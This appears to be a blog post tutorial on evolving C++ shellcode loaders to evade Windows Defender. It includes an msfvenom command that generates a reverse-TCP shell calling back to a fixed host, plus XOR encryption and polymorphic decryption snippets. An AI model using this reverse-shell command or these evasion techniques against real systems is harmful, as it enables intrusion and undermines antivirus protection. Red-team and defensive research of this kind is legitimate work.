Evolving Shellcode Loaders: From Basic XOR to API Hashing and Indirect Syscalls
⚠️ DISCLAIMER: This post is intended strictly for educational purposes. The techniques and code discussed are meant to demonstrate how malware obfuscation and evasion tactics evolve, particularly in the context of defensive research, red teaming, and antivirus testing. I do not condone the use of this information for illegal or malicious purposes and am not responsible for how others choose to use it. The code shared is not production-safe and must not be used in real-world environments without proper authorization.
Objective
This post documents an experimental shellcode execution project developed in C++. The goal was to explore progressively more evasive techniques to defeat Windows Defender and similar AVs, starting from basic encoding up to polymorphic loaders with indirect syscalls and API hashing.
Initial Payload
Generated with msfvenom:
1
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.2.5 lport=8000 -f c > shell_code.txt
Version 1: Basic XOR Encoding
In the first version, a static XOR key ("verysecurepassword") is used to encrypt the shellcode. The key is reused during decryption.
Encoder Snippet
1 2 3 4 5
voidxor_encrypt(std::vector<unsignedchar>& data, const std::string& key){ for (size_t i = 0; i < data.size(); ++i) { data[i] ^= key[i % key.size()]; } }
Loader Decryption Logic
1 2 3 4 5
voidxor_decrypt(unsignedchar* data, size_t size, const std::string& key){ for (size_t i = 0; i < size; i++) { data[i] ^= key[i % key.size()]; } }
This version dynamically generates both the encrypted shellcode and the loader (decoder.cpp) with randomized identifiers and one of multiple decryption variants.
Polymorphic Functions (Three Variants)
1 2 3 4
voiddecrypt1(unsignedchar* data, size_t len, constunsignedchar* key){ for (size_t i = 0; i < len; ++i) data[i] ^= key[i % xor_key_len]; }
1 2 3 4 5 6 7
voiddecrypt2(unsignedchar* data, size_t len, constunsignedchar* key){ size_t k = 0; for (size_t i = 0; i < len; ++i) { data[i] = data[i] ^ key[k]; k = (k + 1) % xor_key_len; } }